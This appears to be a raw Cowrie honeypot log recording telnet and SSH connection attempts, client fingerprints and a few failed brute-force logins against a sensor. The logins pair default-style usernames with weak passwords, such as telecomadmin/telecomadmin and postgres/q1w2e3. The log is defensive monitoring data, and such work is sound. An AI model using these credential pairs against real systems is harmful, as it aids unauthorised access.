{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":38648,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bcc2f89b3da","protocol":"telnet","message":"New connection: 68.183.198.12:38648 (159.203.135.109:23) [session: 9bcc2f89b3da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:45.488092Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":39296,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dd9e10c9be4","protocol":"telnet","message":"New connection: 68.183.198.12:39296 (159.203.135.109:23) [session: 4dd9e10c9be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:48.046955Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46274,"dst_ip":"10.17.0.5","dst_port":23,"session":"a586b6b126f7","protocol":"telnet","message":"New connection: 64.227.101.30:46274 (10.17.0.5:23) [session: a586b6b126f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:50.171926Z"}
{"eventid":"cowrie.session.closed","duration":40.847939014434814,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:50.309393Z","src_ip":"64.227.101.30","session":"92e4256981a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.823304891586304,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:58.571699Z","src_ip":"64.227.101.30","session":"ad5c3d1238d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54818,"dst_ip":"10.17.0.5","dst_port":23,"session":"823472bb4a12","protocol":"telnet","message":"New connection: 64.227.101.30:54818 (10.17.0.5:23) [session: 823472bb4a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:02.831829Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56556,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c751f286c2e","protocol":"telnet","message":"New connection: 64.227.101.30:56556 (10.17.0.5:23) [session: 2c751f286c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:04.929481Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54928,"dst_ip":"10.17.0.5","dst_port":23,"session":"908183e428ce","protocol":"telnet","message":"New connection: 64.227.101.30:54928 (10.17.0.5:23) [session: 908183e428ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:08.043354Z"}
{"eventid":"cowrie.session.closed","duration":0.5150203704833984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:08.558241Z","src_ip":"64.227.101.30","session":"908183e428ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43644,"dst_ip":"10.17.0.5","dst_port":23,"session":"095ea5e31309","protocol":"telnet","message":"New connection: 64.227.101.30:43644 (10.17.0.5:23) [session: 095ea5e31309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:15.264568Z"}
{"eventid":"cowrie.session.closed","duration":0.005026102066040039,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:15.269442Z","src_ip":"64.227.101.30","session":"095ea5e31309","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.48242139816284,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:18.383107Z","src_ip":"68.183.198.12","session":"b62ad4951da2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.63.56.54","src_port":36866,"dst_ip":"159.203.135.109","dst_port":23,"session":"792b2a285938","protocol":"telnet","message":"New connection: 20.63.56.54:36866 (159.203.135.109:23) [session: 792b2a285938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:18.400748Z"}
{"eventid":"cowrie.session.closed","duration":36.10621500015259,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:19.377305Z","src_ip":"64.227.101.30","session":"c3acb91c1915","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.48594069480896,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:21.424434Z","src_ip":"64.227.101.30","session":"18306871f4d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35290,"dst_ip":"10.17.0.5","dst_port":23,"session":"71c2c4384a2d","protocol":"telnet","message":"New connection: 64.227.101.30:35290 (10.17.0.5:23) [session: 71c2c4384a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:21.539318Z"}
{"eventid":"cowrie.session.closed","duration":37.612162351608276,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:22.071102Z","src_ip":"64.227.101.30","session":"22dbb2a15d18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":48030,"dst_ip":"10.17.0.5","dst_port":22,"session":"4640d0f467f7","protocol":"ssh","message":"New connection: 103.170.173.26:48030 (10.17.0.5:22) [session: 4640d0f467f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:26.158249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:26.163386Z","src_ip":"103.170.173.26","session":"4640d0f467f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:26.440590Z","src_ip":"103.170.173.26","session":"4640d0f467f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webdev","password":"webdev123456","message":"login attempt [webdev/webdev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:27.579274Z","src_ip":"103.170.173.26","session":"4640d0f467f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59718,"dst_ip":"10.17.0.5","dst_port":23,"session":"08df87b32c5e","protocol":"telnet","message":"New connection: 64.227.101.30:59718 (10.17.0.5:23) [session: 08df87b32c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:27.868886Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:28.857336Z","src_ip":"103.170.173.26","session":"4640d0f467f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":60640,"dst_ip":"10.17.0.5","dst_port":22,"session":"e704810dda73","protocol":"ssh","message":"New connection: 43.165.185.71:60640 (10.17.0.5:22) [session: e704810dda73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:29.037718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:29.042561Z","src_ip":"43.165.185.71","session":"e704810dda73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:29.221317Z","src_ip":"43.165.185.71","session":"e704810dda73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"telecomadmin","message":"login attempt [telecomadmin/telecomadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:29.947790Z","src_ip":"43.165.185.71","session":"e704810dda73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:31.127439Z","src_ip":"43.165.185.71","session":"e704810dda73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38374,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b96dc2a4da3","protocol":"telnet","message":"New connection: 64.227.101.30:38374 (10.17.0.5:23) [session: 8b96dc2a4da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:31.163446Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":46758,"dst_ip":"159.203.135.109","dst_port":23,"session":"22510fa115af","protocol":"telnet","message":"New connection: 68.183.198.12:46758 (159.203.135.109:23) [session: 22510fa115af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:31.894315Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41526,"dst_ip":"10.17.0.5","dst_port":23,"session":"b30220ac9065","protocol":"telnet","message":"New connection: 64.227.101.30:41526 (10.17.0.5:23) [session: b30220ac9065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:32.451162Z"}
{"eventid":"cowrie.session.closed","duration":47.169798135757446,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:32.657781Z","src_ip":"68.183.198.12","session":"9bcc2f89b3da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34326,"dst_ip":"10.17.0.5","dst_port":23,"session":"148006ff8ebf","protocol":"telnet","message":"New connection: 64.227.101.30:34326 (10.17.0.5:23) [session: 148006ff8ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:33.744607Z"}
{"eventid":"cowrie.session.closed","duration":0.005720853805541992,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:33.750195Z","src_ip":"64.227.101.30","session":"148006ff8ebf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.7133731842041,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:36.760233Z","src_ip":"68.183.198.12","session":"4dd9e10c9be4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":48296,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2c3d989fcc2","protocol":"telnet","message":"New connection: 68.183.198.12:48296 (159.203.135.109:23) [session: b2c3d989fcc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:39.669308Z"}
{"eventid":"cowrie.session.closed","duration":39.22043538093567,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:44.149794Z","src_ip":"64.227.101.30","session":"2c751f286c2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64967393875122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:49.050272Z","src_ip":"20.63.56.54","session":"792b2a285938","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":50200,"dst_ip":"159.203.135.109","dst_port":23,"session":"e287ad2df439","protocol":"telnet","message":"New connection: 68.183.198.12:50200 (159.203.135.109:23) [session: e287ad2df439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:50.525783Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46354,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8b046b25b5c","protocol":"telnet","message":"New connection: 64.227.101.30:46354 (10.17.0.5:23) [session: f8b046b25b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:56.961000Z"}
{"eventid":"cowrie.session.closed","duration":0.00507354736328125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:56.965931Z","src_ip":"64.227.101.30","session":"f8b046b25b5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34860,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6447c12f07f","protocol":"telnet","message":"New connection: 64.227.101.30:34860 (10.17.0.5:23) [session: f6447c12f07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:58.496667Z"}
{"eventid":"cowrie.session.closed","duration":0.004881858825683594,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:27:58.501439Z","src_ip":"64.227.101.30","session":"f6447c12f07f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.0815851688385,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:01.950333Z","src_ip":"64.227.101.30","session":"08df87b32c5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.40912985801697,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:04.240683Z","src_ip":"64.227.101.30","session":"823472bb4a12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.364758014678955,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:04.528261Z","src_ip":"64.227.101.30","session":"8b96dc2a4da3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":36078,"dst_ip":"10.17.0.5","dst_port":22,"session":"605ac673d259","protocol":"ssh","message":"New connection: 78.40.217.56:36078 (10.17.0.5:22) [session: 605ac673d259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:11.523114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:11.528305Z","src_ip":"78.40.217.56","session":"605ac673d259","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:11.672186Z","src_ip":"78.40.217.56","session":"605ac673d259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"q1w2e3","message":"login attempt [postgres/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:12.277864Z","src_ip":"78.40.217.56","session":"605ac673d259","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:13.424356Z","src_ip":"78.40.217.56","session":"605ac673d259","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.22736644744873,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:18.121584Z","src_ip":"68.183.198.12","session":"22510fa115af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":54382,"dst_ip":"159.203.135.109","dst_port":23,"session":"0caf6f1e2a69","protocol":"telnet","message":"New connection: 68.183.198.12:54382 (159.203.135.109:23) [session: 0caf6f1e2a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:18.859047Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52516,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c53c73bffed","protocol":"telnet","message":"New connection: 64.227.101.30:52516 (10.17.0.5:23) [session: 4c53c73bffed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:19.036310Z"}
{"eventid":"cowrie.session.closed","duration":43.86634874343872,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:23.535550Z","src_ip":"68.183.198.12","session":"b2c3d989fcc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":36394,"dst_ip":"10.17.0.5","dst_port":22,"session":"2db3e7ef6e64","protocol":"ssh","message":"New connection: 43.165.185.71:36394 (10.17.0.5:22) [session: 2db3e7ef6e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:24.641817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:24.646096Z","src_ip":"43.165.185.71","session":"2db3e7ef6e64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:24.829496Z","src_ip":"43.165.185.71","session":"2db3e7ef6e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"ftptest123","message":"login attempt [testftp/ftptest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:25.605193Z","src_ip":"43.165.185.71","session":"2db3e7ef6e64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":54952,"dst_ip":"159.203.135.109","dst_port":23,"session":"ded4ac4aa887","protocol":"telnet","message":"New connection: 68.183.198.12:54952 (159.203.135.109:23) [session: ded4ac4aa887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:26.576338Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:26.794202Z","src_ip":"43.165.185.71","session":"2db3e7ef6e64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.3892557621002197,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:27.965507Z","src_ip":"68.183.198.12","session":"ded4ac4aa887","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":99.59716629981995,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:28:29.768993Z","src_ip":"64.227.101.30","session":"a586b6b126f7","protocol":"telnet"}
